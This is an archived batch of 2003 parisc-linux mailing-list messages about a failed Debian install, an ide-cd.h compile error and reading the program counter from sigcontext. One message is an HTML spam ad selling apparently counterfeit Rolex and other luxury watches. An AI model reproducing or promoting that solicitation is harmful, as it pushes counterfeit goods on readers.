	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Apr 2003 06:40:42 -0600 (MDT)
Original-Received: from mail by smtp-out.tiscali.be with dcc (Tiscali) 
	id 19A7w0-0001uT-00; Mon, 28 Apr 2003 14:40:40 +0200
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19A7w0-0001ne-00; Mon, 28 Apr 2003 14:40:40 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 28 Apr 2003 14:40:40 +0200
In-Reply-To: <002501c30ccf$478f8ee0$fe78a8c0@JOERGSPRINTER>
X-DCC-MessageCare-Metrics: spm2 1108; Body=2 Fuz1=2 Fuz2=2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18346

Hi Joerg,
>
>
>When installing debian on a hp-9000 712/80 the below warning shows up:
>
>"file:/instmnt/pool/main/s/shellutils/shellutils_2.0.11-11_hppa.deb was
corrupt"
><continue>
>"Couldn't download shellutils" <continue>
>"The previous attempt to install the base system failed. Please select "Next"
>to retry installation of the base system."
>
>I got the install cd by downloading the iso image using jigdo.
>I have tried version 3.0r0, 3.0r1 and 3.0r1NON-US but none of them works

Umm as I install successfuly 3.0r0 (and iirc in the list somebody else reach
to intall 3.0r1), I do suspect that the pb should be somewhere in the way
you proceded to burn your cdrom.

First of all, check the md5sum checksum of the image you download (very usefull
for big files).

If it is ok tell us more about tools you used to burn this image (I use cdrtools
on *nix system)

hth,
    Joel

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be





From - Thu Nov 08 21:27:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: james@hello.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Italian-crafted Rolex - only $65 - $140!! Free SHIPPING   !  !
Date: Tue, 29 Apr 2003 03:29:07 +0800
Lines: 62
Approved: news@gmane.org
Message-ID: <20030428192602.8191F3197@cuprel1.hp.com>
Reply-To: james@hello.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622414 24970 80.91.229.3 (22 Nov 2014 02:13:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:34 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 28 13:26:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 537FE483A
	for <parisc-linux@parisc-linux.org>; Mon, 28 Apr 2003 13:26:09 -0600 (MDT)
Original-Received: from localhost.com (unknown [61.174.203.99])
	by cuprel1.hp.com (Postfix) with SMTP id 8191F3197
	for <parisc-linux@parisc-linux.org>; Mon, 28 Apr 2003 12:26:02 -0700 (PDT)
X-Mailer: QuickSender 1.05
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18347

=3CBODY bgColor=3D#ffffff=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3Eplease note to send ALL REPLY e-mail direct to 
our sales representative at=3A =3C=2FFONT=3E=3CA 
href=3D=22mailto=3AQuestions=40QualityWatchWorld=2Ecom=22=3E=3CFONT face=3DVerdana 
size=3D2=3EQuestions=40QualityWatchWorld=2Ecom=3C=2FFONT=3E=3C=2FA=3E=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3C=2FFONT=3E&nbsp=3B=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3EHi=2C=3CBR=3E&nbsp=3B=3CBR=3EThank you for expressing 
interest in ATGWS watches=2E=3C=2FFONT=3E=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3C=2FFONT=3E&nbsp=3B=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3EWe would like to take this opportunity to offer 
you our fine selection of Italian crafted Rolex Timepieces=2E=3CBR=3E&nbsp=3B=3CBR=3EYou can 
view our large selection of Rolexes =28including Breitling=2C Tag Heuer=2C Cartier 
etc=29 at=3A=3C=2FFONT=3E=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3C=2FFONT=3E&nbsp=3B=3C=2FDIV=3E
=3CDIV=3E=3CA href=3D=22http=3A=2F=2Fwww=2EQualityWatchWorld=2Ecom=22=3E=3CFONT face=3DVerdana 
size=3D2=3Ewww=2EQualityWatchWorld=2Ecom=3C=2FFONT=3E=3C=2FA=3E=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3C=2FFONT=3E&nbsp=3B=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3EFor all orders placed from now till the end of 
May=2C all shipping and handling charges will be free=2E=3CBR=3E&nbsp=3B=3CBR=3EAs we are the 
direct manufacturers=2C you are guaranteed of lowest prices and highest quality 
each and every time you purchase from us=2E=3CBR=3E&nbsp=3B=3CBR=3EYou may also be 
interested to know that we have the following brands available in our wide 
selection as well=3A =3C=2FFONT=3E=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3C=2FFONT=3E&nbsp=3B=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E1=2E Leather band Daytona =28ladies and men=A1=AFs=29 =3CBR=3E2=2E 
Blancpain=3CBR=3E3=2E Fortis=3CBR=3E4=2E Jaeger LeCoutre=3CBR=3E5=2E Longines=3CBR=3E6=2E Mont 
Blanc=3CBR=3E7=2E Movado=3CBR=3E8=2E Oris=3CBR=3E9=2E Roger Dubuis=3CBR=3E10=2E Ulysse=3CBR=3E11=2E 
Zenith=3CBR=3E12=2E Audemar Piguet=3CBR=3E13=2E Breitling=3CBR=3E14=2E Bvglari=3CBR=3E15=2E 
Cartier=3CBR=3E16=2E Corum=3CBR=3E17=2E Dunhill=3CBR=3E18=2E Franck Muller=3CBR=3E19=2E Gerard 
Perregaux=3CBR=3E20=2E IWC=3CBR=3E21=2E IWC=3CBR=3E22=2E Panerai=3CBR=3E23=2E Patek Philippe=3CBR=3E24=2E Tag 
Heuer=3CBR=3E25=2E Vacheron Constantin=3CBR=3E&nbsp=3B=3CBR=3EIf you see anything that might 
interest you=2C or if you have any questions=2C please don't hesitate to visit our 
website at=3A=3C=2FFONT=3E=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3C=2FFONT=3E&nbsp=3B=3C=2FDIV=3E
=3CDIV=3E=3CA href=3D=22http=3A=2F=2Fwww=2EQualityWatchWorld=2Ecom=22=3E=3CFONT face=3DVerdana 
size=3D2=3Ewww=2EQualityWatchWorld=2Ecom=3C=2FFONT=3E=3C=2FA=3E=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3C=2FFONT=3E&nbsp=3B=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3EI certainly look forward to hearing from 
you=2E=3C=2FFONT=3E=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3C=2FFONT=3E&nbsp=3B=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3EBest regards=2C=3C=2FFONT=3E=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3C=2FFONT=3E&nbsp=3B=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3ECal=3C=2FFONT=3E=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3C=2FFONT=3E&nbsp=3B=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3EDivision Sales Manager=3CBR=3EATGWS =3CBR=3E&nbsp=3B 
=3CBR=3EYou received this email because your have previous purchased from=2C or 
inquired about our product line under ATGWS=2E If you do not want to receive 
further mailings from ATGWS=2C unsubscribe by sending an email with the title 
heading=3A DELETE in the subject line to =3C=2FFONT=3E=3CA 
href=3D=22mailto=3AUnsubscribe=40QualityWatchWorld=2Ecom=22=3E=3CFONT face=3DVerdana 
size=3D2=3EUnsubscribe=40QualityWatchWorld=2Ecom=3C=2FFONT=3E=3C=2FA=3E=3CFONT face=3DVerdana size=3D2=3E 
=3C=2FFONT=3E=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3C=2FFONT=3E&nbsp=3B=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3Eplease note to send ALL REPLY e-mail direct to 
our sales representative at=3A =3C=2FFONT=3E=3CA 
href=3D=22mailto=3AQuestions=40QualityWatchWorld=2Ecom=22=3E=3CFONT face=3DVerdana 
size=3D2=3EQuestions=40QualityWatchWorld=2Ecom=3C=2FFONT=3E=3C=2FA=3E=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3C=2FFONT=3E&nbsp=3B=3C=2FDIV=3E
=3CDIV=3E=3CFONT face=3DVerdana size=3D2=3E=3C=2FFONT=3E&nbsp=3B=3C=2FDIV=3E=3C=2FBODY=3E




From - Thu Nov 08 21:27:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cannot install (shellutils)
Date: Mon, 28 Apr 2003 22:54:28 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20030429045428.GA26077@dsl2.external.hp.com>
References: <002501c30ccf$478f8ee0$fe78a8c0@JOERGSPRINTER> <3EA9466400000C36@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622415 24972 80.91.229.3 (22 Nov 2014 02:13:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:35 +0000 (UTC)
Cc: J?rg Benndorf <joerg.benndorf@t-online.de>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 28 22:54:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 89B214834; Mon, 28 Apr 2003 22:54:28 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3EA9466400000C36@ocpmta7.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18348

On Mon, Apr 28, 2003 at 02:40:40PM +0200, Joel Soete wrote:
> >I got the install cd by downloading the iso image using jigdo.

...
> First of all, check the md5sum checksum of the image you download (very
> usefull for big files).

I think jigdo already did.  IIRC jigdo verifies the final ISO image.

> If it is ok tell us more about tools you used to burn this image
> (I use cdrtools on *nix system)

The ISO seems to boot - therefore I'll guess it's something else.
But don't know where to begin without having the box in front of me.
Open the box and make sure everything is clean and all cables properly
connected. Reseat RAM (after grounding yourself). Try again.

grant


From - Thu Nov 08 21:27:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joachim.weller@philips.com
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] cannot install (shellutils)
Date: Tue, 29 Apr 2003 14:50:33 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <OF67C87243.4AA56CF6-ONC1256D17.0044AF0F@diamond.philips.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622415 24981 80.91.229.3 (22 Nov 2014 02:13:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?J=F6rg_Benndorf?= <joerg.benndorf@t-online.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 29 06:49:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gw-nl5.philips.com (unknown [212.153.235.109])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D8334853
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Apr 2003 06:49:40 -0600 (MDT)
Original-Received: from smtpscan-nl2.philips.com (smtpscan-nl2.philips.com [130.139.36.22])
	by gw-nl5.philips.com (Postfix) with ESMTP
	id E19762B996; Tue, 29 Apr 2003 14:49:38 +0200 (MET DST)
Original-Received: from smtprelay-nl1.philips.com (localhost [127.0.0.1]) 
	by smtpscan-nl2.philips.com (8.9.3-p1/8.8.5-1.2.2m-19990317) with ESMTP id OAA05278; Tue, 29 Apr 2003 14:49:38 +0200 (MET DST)
Original-Received: from hbg001soh.diamond.philips.com (e1soh01.diamond.philips.com [130.143.165.45]) 
	by smtprelay-nl1.philips.com (8.9.3-p1/8.8.5-1.2.2m-19990317) with ESMTP id OAA21589; Tue, 29 Apr 2003 14:49:36 +0200 (MET DST)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on hbg001soh/H/SERVER/PHILIPS(Release 5.0.9a |January 7, 2002) at
 29/04/2003 14:50:38,
	Serialize complete at 29/04/2003 14:50:38
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18349

Hi Joerg,

>>When installing debian on a hp-9000 712/80 the below warning shows up:
>>
>>"file:/instmnt/pool/main/s/shellutils/shellutils=5F2.0.11-11=5Fhppa.deb w=
as
corrupt"
>><continue>
>>"Couldn't download shellutils" <continue>

>Umm as I install successfuly 3.0r0 (and iirc in the list somebody else=20
reach
>to intall 3.0r1), I do suspect that the pb should be somewhere in the way
>you proceded to burn your cdrom.

>First of all, check the md5sum checksum of the image you download (very=20
usefull
>for big files).
If the downloaded image shows correct md5sum, I would recommend checking=20
your
burned CDROM for equal md5sum:
dd if=3D/dev/cdrom bs=3D8192|md5sum

change "/dev/cdrom" to your correct cdrom device and don't interrupt,
this may take considerable time without showing any activity, depending
on the drive speed.

Sometimes, not all cdrom raw discs are recognized well in all
drives. Changing manufacturer/type may help.

A way to prove that the cdrom drive in question reads your burned cdrom
correctly, might be to attach the drive to a (linux) pc with scsi IF and
run the same command there. Older drives tend to accumulate dust in the
optical path, wich might cause reading problems as well, and sometimes
are not well designed for modern cdrom raw material. Maybe you can
attach a more recent scsi drive to your hp-9000.
=20
hth,
      Joachim


Joachim Weller

Philips Medizin Systeme Boeblingen GmbH
Cardiac and Monitoring Systems (CMS) /New Product Engineering=20
Phone: {+49|0}-7031-463-1891
Fax:   {+49|0}-7031-463-2112
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F
Gesch=E4ftsf=FChrer: Dr. Werner Haas, David Russell, Wolfgang Strenzl=20
(Sprecher)
Sitz der Gesellschaft: B=F6blingen Registergericht B=F6blingen Reg.-Nr. HRB=
=20
5187=20
Hewlett-Packard Str. 2, D 71034 Boeblingen      -GERMANY-




From - Thu Nov 08 21:27:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Kernel Compilation error 2.4.20
Date: Tue, 29 Apr 2003 11:00:50 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200304291500.h3TF0otE002237@hiauly1.hia.nrc.ca>
References: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA2KbLcZMh1xGqcgACRGSCYsKAAAAQAAAA29sB0iN61xGqcgACRGSCYgEAAAAA@freebirdairlines.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622415 24990 80.91.229.3 (22 Nov 2014 02:13:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:35 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: taner@freebirdairlines.com (=?windows-1254?Q?Taner_Pilavc=FD?=)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 29 09:00:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF81B4842
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Apr 2003 09:00:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h3TF0qBc002238;
	Tue, 29 Apr 2003 11:00:52 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h3TF0otE002237;
	Tue, 29 Apr 2003 11:00:50 -0400 (EDT)
In-Reply-To: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA2KbLcZMh1xGqcgACRGSCYsKAAAAQAAAA29sB0iN61xGqcgACRGSCYgEAAAAA@freebirdairlines.com> from "=?windows-1254?Q?Taner_Pilavc=FD?=" at Apr 29, 2003 10:54:02 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18350

Questions on parisc-linux should be sent to the list.  This is a FAQ.

> In file included from ide-cd.c:318:
> ide-cd.h: At top level:
> ide-cd.h:440: error: long, short, signed or unsigned used invalidly for
                ^^^^^

The problem is that the types "__u8" and "short" can't be used together:

	__u8 short slot_tablelen;

I'd remove the __u8 from the above line in ide-cd.h and retry your build.

Dave


From - Thu Nov 08 21:27:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Boehm, Hans" <hans_boehm@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Program counter from sigcontext, constructurs 
	and -fPIC
Date: Tue, 29 Apr 2003 14:17:32 -0700
Lines: 70
Approved: news@gmane.org
Message-ID: <75A9FEBA25015040A761C1F74975667D01442066@hplex4.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622416 24995 80.91.229.3 (22 Nov 2014 02:13:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:36 +0000 (UTC)
Cc: "'Carlos O'Donell'" <carlos@baldric.uwo.ca>
To: "Boehm, Hans" <hans_boehm@hp.com>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 29 15:17:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 605C4484E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Apr 2003 15:17:39 -0600 (MDT)
Original-Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33])
	by palrel12.hp.com (Postfix) with ESMTP
	id 9A2091C000A6; Tue, 29 Apr 2003 14:17:38 -0700 (PDT)
Original-Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182])
	by hplms2.hpl.hp.com (8.12.9/8.12.9/HPL-PA Hub) with SMTP id h3TLHbfK003545;
	Tue, 29 Apr 2003 14:17:38 -0700 (PDT)
Original-Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Tue, 29 Apr 2003 14:17:37 -0700
Original-Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19)
	id <JW12DT68>; Tue, 29 Apr 2003 14:17:36 -0700
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18351

Thanks to all the help, my profiling code seems to be much healthier now after:

1) Switching to a machine with a 2.4.20-pa28 kernel and gcc 3.2.
2) Discarding the privilege level bits from the program counter value.
3) Adding 24 bytes to the struct sigcontext pointer (?) passed as a third argument to the signal handler. (!)

Needless to say, I'm still a bit concerned about (3).  Why does the third argument to the signal handler appear to point 24 bytes BEFORE the sigcontext structure?  Does it actually point at a bigger structure?  Is the third argument to a signal handler really not a pointer to sigcontext?  Did struct sigcontext change recently, so that I'm dealing with a version mismatch?

With the 24 bytes added, I clearly get the right program counter values.  I also seem to get the right general register values.

Thanks for any insight.

Hans

> -----Original Message-----
> From: Boehm, Hans 
> Sent: Friday, April 25, 2003 12:40 PM
> To: 'Carlos O'Donell'
> Cc: 'parisc-linux@lists.parisc-linux.org'; Boehm, Hans
> Subject: RE: [parisc-linux] Program counter from sigcontext,
> constructurs and -fPIC
> 
> 
> > -----Original Message-----
> > From: Carlos O'Donell [mailto:carlos@baldric.uwo.ca]
> > 
> > Hans,
> > 
> > What code are you porting? :)
> It's a new, currently rather simple, but thread-compatible, 
> purely user-level, profiler.  It includes some infrastructure 
> for using hardware atomic operations in reasonably portable 
> ways.  Need less to say, PA-RISC makes a wonderful test case.
> > 
> > > 1) I need to retrieve the pc value from the sigcontext 
> > structure passed to a timer signal handler.  In an earlier 
> > message, Paul Bame pointed me at sc_iaoq.  After a bit more 
> > reading, my conclusion was that sc_iaoq[0] should be a 
> > reasonable value to use as a sampled pc.  However I have been 
> > unable to see anything reasonable in that slot (or sc_iaoq[1] 
> > for that matter).  Presumably a struct sigcontext pointer is 
> > always passed as the third parameter to a signal handler?  
> > And it's filled in for timer interrrupts?  What does profil() 
> > do?  (I tried to read the code, but it's hard to trace 
> > through all the configuration stuff.)
> > 
> > A. What kernel are you using?
> 2.4.17-64 on spe170.testdrive.hp.com.
> >  
> > The reason I ask is that 64-bit kernels return broken sigcontext
> > pointers (for now it stuffs 64-bit values into a 32-bit 
> values within
> > the sigcontext, rather it should take into account the fact that
> > userspace or the calling threads personality is 32-bit and 
> > truncate the
> > register values).
> It sounds like that's the problem here.  Thanks.  
> > 
> > What is there to understand about profil()? Based on your PC it uses
> > modular arithmetic (the shift, scale, and division) to track 
> > on a coarse
> > scale which parts of your code are being executed.
> Once you get the PC in the signal handler, that's easy.  It 
> sounds like getting the PC from a signal handler from a 
> 32-bit executable on a 64-bit kernel is currently impossible? 
>  I should probably focus on 64-bit executables?  Or does 
> profil() have a way to get around the problem?
> > 
...


From - Thu Nov 08 21:27:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructurs and -fPIC
Date: Tue, 29 Apr 2003 17:30:28 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20030429213027.GB12492@systemhalted>
References: <75A9FEBA25015040A761C1F74975667D01442066@hplex4.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622416 25000 80.91.229.3 (22 Nov 2014 02:13:36 GMT)
